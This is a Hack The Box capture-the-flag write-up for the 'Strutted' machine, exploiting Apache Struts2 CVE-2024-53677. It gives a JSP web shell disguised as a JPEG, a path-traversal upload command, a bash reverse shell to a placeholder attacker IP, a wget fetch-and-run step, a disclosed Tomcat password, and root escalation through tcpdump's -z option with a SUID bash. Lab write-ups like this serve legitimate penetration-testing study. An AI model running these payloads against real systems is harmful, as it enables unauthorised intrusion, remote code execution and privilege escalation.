Machine: Strutted Platform: Hack The Box
Difficulty: Medium
OS: Linux
Focus: Apache Struts2 exploitation (CVE-2024-53677), file upload bypass, JSP web shell, reverse shell, credential disclosure, privilege escalation via misconfigured tcpdump sudo permissions


Enumeration

We begin the assessment with a full TCP port scan using nmap in order to identify exposed services:

nmap -p- --min-rate=1000 -T4 10.10.11.59

This scan checks all TCP ports while increasing the scan speed using a higher timing template and minimum packet rate.

From the results, two open ports are identified:

22/tcp open  ssh
80/tcp open  http

The presence of an HTTP service suggests a web application. We visit the target IP address in a browser and observe that it resolves to the virtual host:

strutted.htb

Since this domain is not publicly resolvable, we add it to our local hosts file to allow proper name resolution:

sudo nano /etc/hosts
10.10.11.59   strutted.htb

Visiting the site reveals a web application that allows users to upload image files and obtain shareable links.

Additionally, the site provides a downloadable setup package. Inspecting its contents gives valuable insight into the backend configuration.

From the provided files we observe:

  • A Dockerfile using Tomcat 9
  • Java JDK 17
  • A pom.xml file describing project dependencies

Within pom.xml, the following dependency is identified:

Apache Struts2 6.3.0.1

Searching for known vulnerabilities affecting this version leads to:

CVE-2024-53677

This vulnerability allows arbitrary file upload and remote code execution under specific conditions.


Exploitation

To exploit this issue, we craft a malicious JSP web shell that allows command execution.

JSP Web Shell

<%@ page import="java.io.*" %>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = r.readLine()) != null) {
        out.println(line);
    }
}
%>

Since the application only allows image uploads, we disguise the JSP file as a JPEG by prepending valid image magic bytes:

printf "\xFF\xD8\xFF\xE0\n" > image.jpg
cat shell.jsp >> image.jpg

The resulting file appears as a legitimate JPEG while still containing executable JSP code.

We then upload the file using a crafted request that abuses path traversal to write it outside the intended directory:

curl -X POST http://strutted.htb/upload.action   -F "Upload=@image.jpg;type=image/jpeg"   -F "top.UploadFileName=../../shell.jsp"

We verify code execution by issuing a test command:

curl http://strutted.htb/shell.jsp --data-urlencode "cmd=id"

Reverse Shell

To gain an interactive shell, we prepare a reverse shell script:

echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/UR_IP/4444 0>&1"' > bash.sh

We host the script locally:

sudo python3 -m http.server 80

And start a listener:

nc -lvnp 4444

Using the web shell, we download, chmod, and execute the script:

curl http://strutted.htb/shell.jsp   --data-urlencode "cmd=wget http://UR_IP/bash.sh -O /tmp/bash.sh"

curl http://strutted.htb/shell.jsp   --data-urlencode "cmd=chmod 777 /tmp/bash.sh"

curl http://strutted.htb/shell.jsp   --data-urlencode "cmd=/tmp/bash.sh"

This results in a reverse shell on the attacking machine.


User Access

From the shell, we inspect Tomcat configuration files:

cat conf/tomcat-users.xml

Which reveals credentials:

<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>

Checking system users:

cat /etc/passwd

We identify the corresponding user:

james:x:1000:1000:Network Administrator:/home/james:/bin/bash

We authenticate via SSH:

ssh james@10.10.11.59

And retrieve the user flag:

cat user.txt

Privilege Escalation

Running sudo permissions:

sudo -l

We find that tcpdump can be executed as root without a password.

Exploitation via tcpdump

We define a malicious command:

COMMAND='cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

Create a temporary script:

TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF

Execute tcpdump:

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

This executes the script as root, creating a SUID bash binary.

We spawn a privileged shell:

/tmp/rootbash -p

Verify privileges:

id

Finally, access the root flag:

cd /root
cat root.txt

Reference

This write-up is based on my Hack The Box – Pentesting Path study material.

Full repository: https://github.com/lameiro0x/pentesting-path-htb